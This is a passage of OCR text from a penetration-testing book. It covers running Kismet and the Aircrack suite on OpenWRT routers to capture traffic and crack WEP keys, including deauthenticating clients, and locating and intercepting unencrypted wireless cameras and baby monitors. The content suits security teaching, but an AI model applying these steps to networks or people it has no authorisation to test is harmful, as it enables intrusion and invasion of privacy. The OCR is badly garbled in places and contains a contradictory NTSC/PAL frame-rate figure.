# prism2_hostap - Prism2 using hostap drivers

# prism2_legacy - Prism2 using wlan-ng drivers without pcap support (0.1.9)
# prism2_bsd - Prism2 on *BSD

# orinoco - Orinoce cards using Snax's patched driers

# generic - Generic card with no specific support. You will have
# to put this into menitor mode yourself!

# wsplog - WSP100 embedded remote sensor.

“/etc/kismet/kismet drone.conf" line 18 of 121 --14%--

Figure 10.27 Starting the kismet_drone and Waiting for Connections
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root@Pana-WRT: /etc/kismet# kismet_drone -f /etc/kismet/kismet_drone.conf
Using alternate config file: /fetc/kismet/kismet_drone.conf

Suid priv-dropping disabled. This may not be secure.

No specific sources given to be enabled, all will be enabled.

Enabling channel hopping.

Disabling channel splitting.

Source O (wireless): Enabling monitor mode for wrt54g source interface ethl channel O...
Source O (wireless): Opening wrt54g source interface ethl...

NOTICE: bind address not specified, using INADDR_ANY.

Kismet Drone 2005.08.R1 (Kismet)

Listening eon port 3501 (protecol 9).

lAllowing connections from 127.0.0.1/255.255.255.255

Allowing connections from 192.168.0.0/255.255.255.0

Once the drone is started, you can move to the other workstation and attempt
to make a connection. Assuming kismet is already installed on the other workstation,
edit the /usr/local/etc/kismet.conf file and add the following source (see Figure 10.28).

source=kismet drone,192.168.1.1:3501,drone

Make sure to specify the correct IP and port, and comment out all of the other

sources.

ress.com




Using Custom Firmware for Wireless Penetration Testing ¢ Chapter 10

Figure 10.28 Editing the kismet.conf File on the Local Workstation

=

File Edit View Terminal Tabs Help

# Sources are defined as:

# source=cardtype, interface,name[, initialchannel]

# Card types and required drivers are listed in the README.

# The initial channel is optional, if hopping is not enabled it can be used
# to set the channel the interface listens on.

#source=cisco_wifix,ethl:wifil,ciscosource
#source=hostap, ethl, hostapsource
#source=hostap,wlan®, hostapsource
#source=orinoco,ethl, orinocosource
source=kismet_drone, 192, 168.1.1:3501,wireless_drone[]

#enablesources=orinocosource
#enablesources=ciscosource
#enablesources=hostapsource
#source=wlanng_avs,wlan@,wlanngsource

# Comma-separated list of sources to enable. This is only needed if you defined
# multiple sources and only want to enable some of them. By default, all defined
# sources are enabled.

# For example:

# Do we channelhop?

channelhop=true

Once this file is edited, you should be able to run kismet from the command
shell and make a connection to the drone on the WRT54G (see Figure 10.29).

Figure 10.29 Connection from the Workstation to the Drone

= gagdg
File Edit View Terminal Tabs Help
H—Network List—(Autofit) —Info— ™
Name T W Ch Packts Flags IP Range Size Ntwrks
VillageVanguard AY 807 335 0.0.0.0 0B 11
andrews A 0 006 23 0.0.0.0 0B Pckets
linksys A N BOB 49 0.0.0.0 oB 2578
. brianandyancy AY 802 267 0.0.0.0 0B Cryptd
. Murphy A N 806 26 0.0.0.0 0B 20
! linksys A N 806 358 U4 192.168.1.1 2k Weak
! <no ssid> A N 806 200 0.0.0.0 0B o
! AERD-ORG A 0 804 260 0.0.0.0 0B Noise
! JBll16 A 0 806 502 0.0.0.0 6k o]
! linksys A 0 BOB 396 0.0.0.0 728 Discrd
<no ssid=> AN --- o] 0.0.0.0 0B o]
Pkts/s
41
wirele
Ch:---
Elapsd
00:00: 46-
—Status
Found new network "=no ssid=" bssid 00:15:05:EC:54:C6 Crypt N Ch @ @ 0.00 mbit
Found new probed network "D3AJ7" bssid 00:16:6F:67:57:95
Associated probe network "00:16:6F:67:57:95" with "00:0F:66:87:2D:EC" wia probe response
Found IP 192.168.1.1 for linksys::00:18:39:7B:BF:D9 via UDP P
hd

From the WRT54G, you can also run the kismet binary by itself in a command

shell or SSH connection, and view the same results. You may want to run the screen

ress.com
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command first, so that you can exit the screen and come back later to continue the

WRT54G scan.

Installing Aircrack to Crack a WEP Key

The Aircrack suite of tools is used to crack the WEP key of a specific access point.
In order to use the Aircrack suite of tools, you need to have someplace to store a
large quantity of data. This section looks at mounting a remote file system and using
that mounted system as a storage repository for Aircrack packet capture (pcap) files.

Mounting a Remote File System

We have already discussed the fact that the WRT54G has limited storage space.
However, this does not keep us from mounting a remote server to use as a place to
store data. Because there are other Linux boxes on our network, we will use one as a
data repository. Because the remote workstation is partitioned as EXT3, we will use
the SHES file system, which will allow us to mount the system securely using SSH
encryption. From the WRT54G, install and load the SHES kernel module and utili-
ties with the following commands:

# ipkg install kmod-shfs shfs-utils

# insmod shfs
At this point, we can mount the remote file system (see Figure 10.30):

# mkdir /mnt/remote system (creates a local folder to mount to)

# shfsmount user@IP:/remote/dir /local/mt_pt (maps the remote folder to
the local)

NoTEe

If you have difficulty mounting the remote file system, make sure that
the permissions on the remote folder allow you to make changes to it.
For a Linux system, you need to make sure that you are either the folder
owner, or have write permissions to the folder.

www.syngress.com
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Figure 10.30 Installing the Packages and Mounting the Remote File System

root@Pana-WRT:~# ipky install kmod-shfs shfs-utils

Installing kood-shfs (Z2.4.30bremd+0.35-2) to root. ..

Downloading http://downloads. openwrt. org/ vhiterussian/ packages/kanod-shfs 2.4, 30brow+0.35-2_mipsel.ipk
Installing shfs-utils (0.35-2) to root...

Downloading http://downloads.openwrt.org/ whiterussian/packages/shfs-utils 0.35-2_mipsel.ipk
Configuring knod-shfs

Configuring shfs-utils

Successfully terminated.

rootfPansa-WRT: ~# inswod shfs

TMzing /lib/modules/2.4.30/shfs.0

insmwod: A module nawed shfs already exists

root@Pana-WAT: ~# wkdir /mnt/remote filesystemw

rootlPana-WRT: ~# shfsmount panaderof192.165.1.72:/home/aircrack /wnt/rewmote filesystew/

Host '192.188.1.72' 1z not in the trusted hosts file,
(fingerprint md5 bl:49:71:d4:40:f6:chiae:5d:Thih0iae:ied:icS:Shidi)
Do you want to continue connecting? (v/n) ¥

Pazsword:

root@Pana-WRT:~# ls /mnt/remote filesystem/

cap-01.ivs cap-01.txt

root@Pana-WRT: ~# I

Installing the Aircrack Tools

The default package sources do not include the Aircrack ipkg file. You will need to
edit the /etc/ipkg.conf file to include a new repository in which to install Aircrack.
Remember that the /efc/ folder will be [Read Only] in the squashfs file system.
Remove the symlink, copy the ipkg.conf file, and edit it to include the newest reposi-
tory (see Figure 10.31):

# rm -rf /etc/ipkg.conf (Removes the symlink)

# cp /rom/etc/ipkg.conf /etc/ (Copies the new file into the /etc/ folder)

# vi /etc/ipkg.conf (Edits the ipkg.conf file to add the repository)

add src backports http://downloads.openwrt.org/backports/rc5 (to the list)
# ipkg update (Updates the available packages on the WRT54G)

311
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Figure 10.31 Editing the /etc/ipkg.conf File and Updating the Repositories

rootfPana-WRT:~# 1= -al /ete/ipkg.cont

1r WK WHEWX 1 root root 18 Jan 1 00:01 fetc/ipkg.conf -» fromfetc/ipkg.cont
rootBPana-WRT: ~# rm -rf /fete/ipkg.cont

rootfPana-WRT: ~# cp /rom/etc/ipkg.cont /fetc/

root@Pana-WRT: ~# vi fete/ipkg.cont

rootfPana-WRT: ~# ipkyg update

Downloading http://downloads.openwrt.ory/ vhiterussian/ packages/ Packages

Updated list of availahle packages in Jfusr/lib/ipkg/lists/whiterussian
Downloading http://downloads. openwrt.org/ vhiterussian/ packages/ non-free/Packages
Updated list of availahle packages in Jusr/lib/ipkg/lists/non-free

Downloading http://downloads. openwrt . org/backports/res/Packages

Updated list of availahle packages in Jusr/lib/ipkg/lists/backports

Successfully terminsted.

rootBPana-WET: ~§ [

To install the Aircrack Suite, type ipkg install aircrack at the SSH prompt. You
will also need to install the wl package by typing ipkg install wl (see Figure 10.32).

Figure 10.32 Installing aircrack and wl

root@Pana-TRT:~# ipkg install aircrack

Installing aircrack (2.41-1) to root...

Downloading http://dowvnloads.openvrt.org/backports/reS/airerack 2.41-1 mipsel.ipk
Installing libpthread (0.9.27-1) to root...

Downloading http://downloads.openvrt.org/ vhiterussian/packages/ libpthread 0.59.27-1
_mipsel.ipk

Configuring aircrack

Configuring libpthread

Successfully terminated.

root@Pana-TRT:~# ipkg install wl

Installing wl (3.590.37-1) to root...

Downloading http://downloads.openvrt.ory/ vhiterussian/packages/ non-free/wl 3.90.37
-1 mipsel.ipk

Configuring wl

Successfully terminated.

root@Pana-WRT:~# air

aircrack airdecap aireplay airodump

root@Pansa—WRT: ~# airl

At this point, the entire Aircrack suite is available to use. Here are the initial steps
for cracking the WEP key:
1. Use kismet to find the target access point and clients.

2. Use Airodump to capture packets from this access point.
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Start Aireplay to capture the Address Resolution Protocol (ARP) packets
and reinject into the access point.

Wait for a client to connect, or use VOID11 to deauthenticate a client in
order to capture the ARP packet.

Capture enough wireless Initialization Vectors (IVs) to crack the WEP
key.

Run Aircrack on the pcap file to extract the WEP key
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Summary

One of the most common models of wireless access points is the Linksys WRT54G
and WRT54GS. These devices offer up to 802.11G wireless access. They also support
the entire line of WEP and WPA encryption. Up until v.5 of the access point, it is
possible to install and customize the firmware on the device to literally turn it into a
useful wireless attack platform running Linux.

There are many software choices for modifying the firmware on a WRT54G;
three common ones being HyperWRT, DD-WRT and OpenWRT. Each distribu-
tion has pros and cons. The software choice you make will determine the hardware
you will need. Most of the distributions can be installed on a variety of different
hardware choices. The OpenWRT firmware supports over 50 different devices from
various manufacturers. This chapter focuses on OpenWRT RC5 installed on a
Linksys WRT54G.

Installation of OpenWRT can be accomplished one of two ways. The first is the
use of the embedded Linksys web interface. Though this is not the suggested
method of installation, it tends to be the easiest. The other installation is via a TFTP
server serving the firmware to the device. As the device boots up, the firmware is
pushed to the access point and replaces the previous firmware in RAM. This method
can also be used to recover from a serious problem, or to re-flash the original
Linksys firmware.

The OpenWRT package uses a configuration method of NVRAM variables.
These variables are what the firmware uses to know what configuration the core
access point should have. Setting, changing, and deleting variable values are how the
user makes changes to the device. Using basic Linux commands with these variables,
it is easy to find and set necessary variables. Remember that these NVRAM vari-
ables are for the OpenWRT core package, and generally are not used for installed
software packages.

Being a wireless access point, there are several network interfaces on the device.
Specific physical ports on the device are initially reserved for specific duties. Port 0
is reserved for the WAN port, as ports 1-4 are used as the default LAN ports. The
wireless connection is generally bridged with the LAN ports to create a seamless
network segment on the device. Using NVR AM variables, it is possible to change
this configuration to fit your needs.

Once the device is up and running and properly configured for network access,
it is possible to install different software packages on the device. A couple of changes
to some configuration files can open a world of software choices. OpenWRT.org
provides a comprehensive list of installable packages for the device, ranging from
network utilities to Web and ssh servers. With the package management system
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included in the firmware, you can install these packages over the Internet quickly
and easily.

Because this book focuses on penetration testing, you will need to install some
of the most common tools available to a penetration tester. The first obvious choice
is Nmap. The most current version of Nmap for OpenWRT is version 3.81. Two
other popular software packages are netcat and tcpdump, which install and run flaw-
lessly on the WRT54G with OpenWRT.

The most popular wireless penetration testing tool is Kismet. Kismet is widely
known and used as the de facto standard in wireless scanning. Packages are available
to install and use Kismet on the OpenWRT firmware.You can either run the
Kismet client directly on the device, or install the Server package and use another
workstation to connect and view the results.

The Aircrack suite of tools is used to crack the WEP keys of other access points.
Fortunately, there exists a package installation for Aircrack. Using the included soft-
ware installation methods, it is trivial to get Aircrack installed. The suite includes
Airodump (to capture packets), aireplay (to reinject ARP requests in the other access
point), and aircrack (to actually crack the WEP key). The use of these tools is
detailed in Chapter 9 of this book.

As you can see, the Linksys WRT54G, along with many other devices, can be
used as a valid wireless attack platform. Using different firmware, the most popular
being OpenWRT, you can use these devices in your testing.

Solutions Fast Track

Choices for Moditying the
Firmware on a Wireless Access Point

M There are many choices available for modifying the firmware on an access
point. There are three main software choices: HyperWRT, DD-WRT and
OpenWRT. This chapter focuses on OpenWRT.

M The hardware choices are almost without limit. The hardware you need to
use depends on the software installation you choose. This chapter focuses
on the WRT54G access point from Linksys.

315
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Installing OpenWRT on a Linksys WRT54G

M There are over 50 hardware devices that OpenWRT firmware can be
installed on. Download the firmware from the Open WRT Web site using
the squashfs file system.

M Use the Telnet interface to configure the router; however, it is best to use
the more secure SSH connection. OpenWRT uses a simple command-line
interface using NVRAM variables to set different options in the firmware.

M Because the OpenWNRT is installed using the squashfs file system, most
configuration files are actually symlinks to their counterpart in the /rom/
directory on the device. In order to edit these files, you have to remove the
symlink, copy the file from the /rom/ directory to the original destination
directory, and continue the editing process.

Installing and Managing
Software Packages for OpenWRT

M By editing the /etc/ipkg.conf file, it is possible to have a fully configured
workstation by installing packages from the Web. Editing this file tells the
firmware where to download specially created packages.

M The ipkg suite allows the user to add packages, remove packages, and
update packages. It is important to remember that the WRT54G has a
limited amount of system storage for packages; therefore, depending on
what you need the device for, will depend on which packages can be
installed at one time.

Enumeration and Scanning from the WRT54G

M Using Nmap, the WRT54G can be used as a remote portal to do initial
port scanning from. Most of the options are available with the Nmap
package available for OpenWRT.

M Netcat allows us to make connections to and from the WRT54G. Using
Netcat, you can open ports for other connections, or use it to make
connections outbound to other devices.
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M The Tcpdump package enables you to capture and analyze TCP traffic.
Knowing the location of the device on the network helps determine how
much and what kind of traffic you can sniff and analyze.

Installation and Configuration of a Kismet Drone

M Kismet can be run from the WRT54G without issue, except for the limited
amount of available space on the device. Installation of kismet is
straightforward, as long as the correct sources are listed in the ipkg.conf file.

M You can configure the kismet drone to run non-stop on the device, which
gives you a constant wireless scan. You will need to specify the correct
kismet_drone.conf file for the drone to run.

M Once the drone is running, you can connect to it from another workstation
on the same subnet that was specified in the config file.You can also run
kismet directly from the router to see any access points in range.

Installing Aircrack to Crack a WEP Key

M In order to use Aircrack on the WRT54G, you need a large amount of disk
space to hold the pcap files that the traffic is stored in. By mounting a
remote file system and specifying this mount point as the output for our
data, you are not limited to the internal memory on the WRT54G.

M Installing the Aircrack suite is as simple as editing the ipkg.conf file to look
at a new repository, update the list of available software, and install Aircrack.
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Frequently Asked Questions

The following Frequently Asked Questions, answered by the authors of this book,
are designed to both measure your understanding of the concepts presented in
this chapter and to assist you with real-life implementation of these concepts. To
have your questions about this chapter answered by the author, browse to
www.syngress.com/solutions and click on the “Ask the Author” form.

Q:
A:

Why can’t I use a newer Linksys WRT54G device with OpenWRT?

With the release of the WRT54G version 5.0, Linksys decided to go with the
VxWorks Operating System on their devices. At the same time, they reduced the
size of the onboard flash memory. However, some smaller versions of DD-WRT
can be installed on this version of the device.

: What should I do if everything goes wrong?

: Hopetully, you enabled-the-boot-wait variable in the firmware. If this is true, you

can download the original Linksys firmware for your device from their Web site.
At that point, you will havesto use the TFTP method to push the firmware to
the device.

: Should I use WEP or WPA in securing my wirelesssnetwork?

. That decision can be made by analyzing the different hosts on the network and

whether or not they can handle WPA. Most older wireless network bridges (e.g.,
Linksys WET11, Microsoft Xbox wireless adapters, and/so on) cannot handle
WPA encryption, thus forcing you to use WEP encryption. Some older wireless
network cards may not be able to handle WPA, and off-brand cards may not
have the supported drivers and software to handle WPA.

: I have heard that WPA is vulnerable to dictionary attacks. What does this mean?

. A dictionary attack tries to guess the pre-shared key, password, or passphrase

being used by testing it against a list (or dictionary) of words and phrases. By
using strong passphrases or, in the case of WPA, long pre-shared keys, you reduce
your risk of being vulnerable to a dictionary attack.
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Introduction

This chapter focuses on how to perform a wireless test against a client, and examines
some of the vulnerabilities related to wireless video. It also explores the different
tools that can be used to perform these tests, and the type of information these tools
provide.

Why Wireless Video?

When wireless technology was first released, it took the networking world by storm.
Companies loved the freedom and power they had in their hands. However, this
same technology was also being used in cordless phones, computer peripherals,
handheld devices, home monitoring equipment, wireless video, and amateur televi-
sion broadcasts.

Wireless video immediately became an application standard. It was inexpensive,
didn’t require running huge lengths of cable through a building, and easy to install;
these facets also made it affordable to the mass market.

Let’s Talk Frequency

In this chapter, we examine primarily those systems that operate in the open 2.4
Gigahertz (GHz) frequency band. There are dozens, if not hundreds, of video solu-
tions that work in this frequency range; however, some also work in other frequency
ranges (e.g., 1.2 GHz and 900 MHz (discussed briefly). Some of the tools discussed
in this chapter are also applicable to different frequencies. All of the video systems
that we will look at operate on specific channels within the 2.4 GHz range.

Let’s Talk Format

The transmission format of video signals in the U.S. is different from the transmis-
sion format of video signals elsewhere in the world. The two most widely used for-
mats are the National Television Systems Committee (NTSC) format and the
Programmable Array Logic (PAL) format.

In 1953, the NTSC created the current broadcast standard (adopted by the U.S.
and numerous other countries), which sets restrictions on transmission variables. The
NTSC specifies that for each transmission there must be 525 lines of video and 30
vertical frames per second (vips), and that they must operate at 60 cycles per second.
(Additional details on the NTSC specification can be found at www.ntsc-tv.com.)

PAL is the standard that is used in parts of Europe, South America, and Asia. PAL
uses a video signal of 25 vips (compared to NTSC’s 25 vips), and provides 625 total
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lines of video (compared to 525 lines in NTSC). This means that PALs video is
clearer.

You must understand the format of the appliances and tools that you need in
order to receive transmissions from difterent locations (e.g., a video capture device
purchased in Japan will not work in the U.S. unless a NTSC version is specified).
Some tools work with both formats; however, most do not.

Let’s Talk Terms

Some manufacturers have created very simple WiFi video systems; however, in most
cases, there is no encryption or operating software installed, and there is no user-
accessible memory space for a pen tester to compromise or exploit. The only way to
compromise most WiFi video systems is by jamming or overpowering the signal
picked up by the receiver with a signal of your own. Most of the work in this
chapter revolves around locating and identifying video signals.

Penetration implies that were breaking through the security of a system in order
to gain access to the data inside. Wireless video systems have very little security, if
any; thus, our job is to demonstrate to the customer the extent at which their system
is flawed. In simpler terms, we want to answer the following questions:

B Does the customer have wireless video?

®m s the video authorized or unauthorized?

m [s the wireless signal secure or insecure?

®  From where is the video signal originating?

®  How can the wireless signal be modified or compromised?

®  What information can we glean from the target by compromising the wire-
less video?

Wireless Video Technologies

As mentioned earlier in this chapter, there are dozens of difterent technologies that
use the 802.11 standard, which has its advantages and its disadvantages. The greatest
benefit is the ease with which developers, inventors, and innovators can create
bigger, better, and more exciting solutions for the problems we encounter. The single
biggest disadvantage is that all of these devices are now sharing a relatively small fre-
quency space, causing collisions, intrusions, and signal distortion.
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There are endless possibilities when using the 2.4 GHz range. The following list
is a small sample of the type of devices available in this range.

B Wireless networking devices
®m  Cordless phones

®  Baby monitors

B Wireless camera systems

m  Computer peripherals

®  Bluetooth devices

m Wireless audio relay devices
®  Digital cameras

m  Remote control vehicles

Although we’ll be focusing strictly on wireless video, it’s important to under-
stand the other devices that can interfere with testing. It’s not uncommon for
someone to have a cordless phone near their computer or a Bluetooth headset for
their cell phone, that tries to connect when a call comes in. Identifying possible
sources of confusion up front will make your wireless video test much more suc-
cessful. Before we look at ways of locating wireless video, let’s look at some of the
products you might run into while you’re hard at work.

Video Baby Monitors

Baby monitors have evolved to the point where wireless video is an inexpensive
alternative to the traditional audio of monitors in years past. Multiple vendors have
released multiple versions of these devices, which provide parents with the conve-
nience of keeping an eye on a sleeping child or a child playing in another room. The
products range in price from $100 USD to several hundred dollars.

Video baby monitors transmit on the 2.4 GHz frequency set and typically have a
signal distance of roughly 300 feet in a clear line-of-sight situation. Many of the
cameras also offer zero light imaging as long as the camera is within 10 feet of the
subject. These devices are found in most neighborhoods and, in some cases, the
signal distance can carry the video feed a block or two from the source. Sample
products are shown in Figures 11.1 and 11.2.
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Figure 11.1 Mobicam

Another product in this line is the Nanny Cam, which was invented to help par-
ents keep an eye on the babysitter or nanny while they are away from home. These
devices were originally wired devices that were connected to a video recording
device. However, in the last several years they have evolved into wireless devices (see
Figure 11.3). The actual camera is hidden within the teddy bear (presumably set on a
shelf overlooking the room being monitored) and the receiver is attached to a
recording device. The signals traverse through the air, unencrypted.
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Figure 11.3 Kidz-Med Teddycam

Security Cameras

Having the ability to monitor a home or business for nefarious individuals has
always been a concern. Until the advent of closed-circuit systems, most businesses
had security guards or guard dogs on the premises. However, closed-circuit systems
require a fairly lengthy installation process and aren’t as accessible to home users as a
wireless solution. In this section, we cover some of the possibilities when using wire-
less security cameras.

X10.com

There are multiple products on the market that provide wireless video surveillance
functions for end users. One of the most popular wireless video surveillance systems
was developed by X10 (www.x10.com). These devices come in a variety of models
that are inexpensive and easy to install. Users can choose a full-light color camera
setup or a low-light black and white setup. They can be installed inside or outside
the home, and some systems can also monitor via the Internet.

X10 operates in the same 2.4 GHz system discussed previously. The cameras and
their receivers can use four difterent channels within this range, and are labeled A, B,
C,and D:

®  Channel A: 2.411 GHz
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®  Channel B: 2.434 GHz
®m  Channel C: 2.453 GHz
®m  Channel D: 2.473 GHz

X10 camera systems in the U.S. are limited to a 100-foot transmission range by
the Federal Communications Commission (FCC). This restriction is in place because
of the frequency range being used (see Figure 11.4).

Figure 11.4 Standard X10 Black and White Low-light Camera

D-Link

D-Link has historically offered a variety of computer and networking products;
however, they recently moved into the wireless surveillance market with the
Document Control System (DCS) series of wireless cameras. The camera in Figure
11.4 is the DCS-5300G, which operates on 802.11g. Because it runs on 802.11G,
the camera provides a faster data transmission than the X10 line; however, the D-
Link offering is more expensive than the X10 line (approximately $400.00 to
$450.00 USD), because it has a built-in central processing unit (CPU) and a Web
server (see Figure 11.5). The DCS-5300G also offers a variety of network services,
such as Network Time Protocol (NTP), Dynamic Host Configuration Protocol
(DHCP), Universal Plug-and-Play (UPnP), Simple Mail Transfer Protocol (SMTP),
and File Transfer Protocol (FTP).
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The most interesting thing about the DCS-5300G is that it offers 128-bit
Wireless Encryption Protocol (WEP). Even though the data going across the wireless
connection is different, the protocols are the same.

By default, the DCS-5300G has a transmit range of 100 feet indoors and 400
teet outdoors, in a clear line-of-site situation. The range of this particular camera can
also be extended using an extender antennae from D-Link.

Figure 11.5 D-Link DCS5300G

The DCS-5300G camera has a software component that can control, monitor, or
configure the cameras, and can be downloaded at www.digitalriver.com.

Others

There are a plethora of other wireless camera systems on the market; some strictly
for indoor use and some strictly for outdoor use. Consumers can choose black and
white or color; audio or no audio. In the majority of cases, regardless of the camera
system being used, the standard being used for the wireless transmission remains the
same.

An exception to this rule are wireless spy cameras, which can also be detected
using these mechanisms; however, they operate on different frequencies. Most of
these systems operate between 900 Megahertz (MHz) and 1.2 GHz, if theyre not in
the 2.4 GHz range. Regardless of the target system, we have the means to locate,
identify, and potentially alter the signals being sent from these systems.
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Tools for Detection

At this point, you should have a basic understanding of wireless networking, and of
how wireless camera systems operate. Now we need to find the signals put out by
the cameras.

Finding the Signal

Finding a camera is relatively straightforward; because they use radio waves, their sig-
nals are open for interception at any point. All you have to do is be within range to
pick up the signal, much like tuning in to a car radio. Wireless networks and cameras
are no different.

Notes from the Underground...

Radio Terms

Merriam-Webster’s dictionary defines propagation as:

: the act or action of propagating : as a : increase (as of a kind of organism)
in numbers b : the spreading of something (as a belief) abroad or into new
regions c : enlargement or extension (as of a crack) in a solid body

Merriam-Webster’s dictionary defines attenuation as:

1 : to make thin or slender, 2 : to make thin in consistency, 3 : to lessen the
amount, force, magnitude, or value of, 4 : to reduce the severity, virulence, or
vitality of <an attenuated virus> intransitive verb : to become thin, fine, or less

The closer you are to the transmitting device, the stronger the radio signals (e.g.,
if you're standing next to a wireless router, the signals are much stronger than they
would be from across the street). The process of a signal moving away from the
source is known as propagation. As those signals move away from the original trans-
mitting device, they get weaker and more difficult to tune in to. This is known as
attenuation.

We will start by finding radio signals in our target frequency range by scanning,
which is the process by which software or hardware that is connected to a radio
receiver steps through each frequency until it finds a signal. As our scanner finds a
signal, it will pause on that frequency so that we can hear (or view) the signal infor-
mation. In the case of a signal from a wireless camera, the signal may not mean any-
thing unless we can identify it with the appropriate equipment.
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Let’s start with an example. Bob and Alice live at 123 Main Street. They’ve
recently had a new baby and Alice likes to keep an eye on the child while she naps.
So Bob, being the good husband that he is, runs out and buys the best wireless baby
monitor available and sets it up the new monitor in the baby’s room in the middle
of their small home.

What Bob and Alice are not aware of is that the signal sent from the baby mon-
itor is sent out, unprotected, into the surrounding area, as shown in Figure 11.6.The
signal propagates 100 feet out from the monitor, which means that Roger Smith
across the street could tune into the signal and watch the baby sleep.

Figure 11.6 Bob and Alice’s New Baby Monitor

Scanning Devices

There are multiple devices that you can utilize while looking for wireless camera
signals. Some are useful, as they show the actual video feed being received; others
only detect the signal and show the frequency. Your assessment will be much
stronger if you have multiple tools with which to do your work. We touch on sev-
eral products that will help you perform a wireless video assessment.

www.syngress.com



Wireless Video Testing * Chapter 11 329

ICOM IC-R3

ICOM has been in the business of making radios and scanners for years. One of
their products is a scanner called IC-R3 (see Figure 11.7), which is the first scanner
manufactured by ICOM with a 2.5” thin film transistor (TFT) color screen attached.
The importance of this small screen can not be underestimated if youre performing
assessments on wireless security cameras.

Figure 11.7 The ICOM IC-R3

The Basic Details

Depending on the model you buy, the IC-R3 is capable of receiving either PAL or
NTSC. Current models do not include the ability to receive both formats, so you
must make sure that you have one that works for you.

The IC-R3 i1s a lightweight scanner that includes video reception functionality.
It runs on batteries, and also comes with a wall socket adapter. The antenna tele-
scopes from the default length (see Figure 11.7) to several times that length. This
allows you the ability to pick up most wavelengths without problem; however, the
antenna is connected by a Bayonet Neill-Concelman (BNC) connector and can be
removed if needed.You can also add another antenna type or length to the device.

For normal radio users or scan hobbyists, the IC-R3 scanner is a great toy.
However, the IC-R3 scanner as a tool for wireless video scanning presents a variety
of positives and negatives. First of all, the frequency range of the device starts at
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approximately 495 Kilohertz (KHz) and ends at 2.450095 GHz, which falls short of
covering the entire 802.11 specified frequency range (i.e., 2.4835 GHz in the U.S).
This leaves you several channels short of what is required to perform a complete
scan for wireless video. Channels 9 (2.452 GHZ), 10 (2.457 GHZ), and 11 (2.462
GHz) will probably not be picked up by the IC-R3, and Channels 7 and 8 might

also be impacted by this limitation. Each of these channels has a center frequency, a

low-frequency boundary, and a high-frequency boundary. The signal of each channel can

fluctuate slightly within these ranges, which can impact the perceived performance
of the IC-R3 (see Figure 11.8). Also note the boundaries listed and how each of the
channels overlaps with one another. (To make it easy to read, we’ve marked the center

frequency with a notch below each channel block in the diagram.)

Figure 11.8 2.4 GHz Channels for 802.11b Wireless Networking
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Another problem with the IC-R3 is its inability to scan when the TFT screen is
enabled. In order to find video signals, the assessor must scan through the 802.11b

channels until the scanner finds an active signal. Once a signal is found, you can
enable the TFT screen with the press of a button on the device.

Using the IC-R3 for an Assessment

Regardless of its flaws, the IC-R3 is a valuable tool for wireless assessment. In this

section, we briefly discuss how the device can be used.

The first function is scanning. The IC-R3 allows you to scan the entire fre-

quency range of the receiver (i.e., 495 KHz through 2.45 GHz) or a select sub-
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range. We only want to scan the 802.11b range, which is called a Selected Band Scan.
A selected band scan allows you to scan the entire range of frequencies within that
band, as defined by the receiver. In this case, we want to scan the available 2400
MHz range that is available on the IC-R3 (see Figure 11.9).

To begin your scan, press the V/M button on the front of the device to enter
Variable Frequency Oscillator (VFO) mode. Now press and hold either the right or
the left directional arrow on the front of the device while you rotate the dial on top
to select the BAND scan option. Within this option, select the 2400 MHz band.

Start the scan by pressing and letting go of the arrow once you have selected the
correct band. When the IC-R3 finds a signal, it will pause. At that point, press either
the right or left arrow to stop the scan, or allow it to continue. If you find a candi-
date signal that you’d like to check for video, stop the scan and press and hold the
FUNC button and either the up or down directional arrow for 2 seconds.

Figure 11.9 IC-R3 Scanning Function

Triangulating with the IC-R3

One of the best features of the IC-R3 is its ability to triangulate on a candidate
signal. There are two separate antennas that can be used. The antenna that ships with
the IC-R3 is an omni antenna, which picks up signals in a 360-degree radius, and
the other antenna is a commercially available, third-party directional antenna that
operates within the 2.4 GHz frequency range. Directional antennas typically limit
your reception to a 15- to 30-degree arc from the end of the antenna, versus picking
up signals in a 360-degree circle around you (see Figure 11.10).
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Figure 11.10 Directional Antenna (Hyperlink 14.5 Decibel (dbi)

Notes from the Underground...

Check Twice, Buy Once

As mentioned in earlier chapters, you should always be absolutely certain that
the antenna you purchase comes with the end connector that you need. The IC-
R3 comes equipped with a BNC connector by default; therefore, any commercial
antennas you purchase must be capable of using this connection. However, bear
in mind that there are plenty of other adapters on the market. Fortunately, if you
already have a directional antenna with a different connector, you can probably
find the appropriate adapter for a BNC.

The first is the ability to locate the direction a signal is coming from. This is
useful if you want to help eliminate bogus (nontarget) signals. Ensure that your
directional antenna is connected tightly into the IC-R3 (see Figure 11.11), and then
press and hold the FUNC button and either the up or down arrow button for 2
seconds. This turns on the TFT display. Press the FUNC and either the up or down
button once or twice more to select the direction-finding screen.
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Once the IC-R3 is operating in direction-finding mode, select your frequency using
the dial, and swing the antenna in a 360-degree circle. A signal will appear strongly
on the screen when the antenna is facing the signal. However, be aware that in many
cases, the antenna will pick up a stronger signal when you are facing opposite the
signal.

Figure 11.11 IC-R3 in Direction Finding Mode
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The triangulation on a signal works exactly the same way, except your team will
utilize two of the IC-R3s to perform this work.You’ll need to have at least two
team members, and each one must have the IC-R3 with a similar directional
antenna. Stand at least 100 feet apart. Put both IC-R3s into direction-finding mode
and ensure that both are looking for the same frequency.

Once both the devices find the signal, turn in a circle with them until they both
find the strongest signal possible. At this point, you have two options: You can have
both team members walk toward the signal, always following the strongest signal; or
you can use a map and draw lines from each team member to the direction of the
strongest signal. Where those two lines intercept on the map is most likely the loca-
tion of the signal source (see Figure 11.12).
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Figure 11.12 Using the IC-R3 to Locate Signal Source

Team Member 2

Team Member 1

X10 Accessories

The X10 company has done an outstanding job of providing wireless monitoring
equipment at an affordable price. It has ensured that these products are easy to install
and easy to use. There are many different forms that their hardware can take, but
they all have the same basic attributes.

You saw the X10 camera hardware earlier in this chapter. However, there are
other pieces of hardware and software that help augment these cameras and make
the entire system more powerful. Fortunately, as an assessor, you can also use these
same tools to help find wireless video issues within a target organization.

The first item of interest is the X10 receiver unit. In order for the X10 system of’
wireless cameras to work properly, you need some type of receiver. X10 has created a
low-priced and flexible receiver that plugs into a monitoring device (e.g., a televi-
sion or a Videocassette Recorder [VCR]) (see Figure 11.13). It gets its power from a
normal Alternating Current (AC) power outlet. The unit is small, and uses a standard
R CA video plug for output of the signal from the receiver.
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Figure 11.13 X10 Receiver

The X10 cameras create a digital signal based on what they see through their
lenses. This signal is then transmitted into the open using the 2.4 GHz frequency
range. In order to receive these video signals, you only need to be tuned in to the
frequency the cameras transmitting from. Using one of these receivers in a mobile
situation requires a power inverter (similar to those discussed in earlier chapter). Plug
the receiver’s power plug into the inverter and then plug the receiver’s video jack
into a video device (e.g., a small television).

With some additional money, you can buy the X10 USB/RCA adapter for
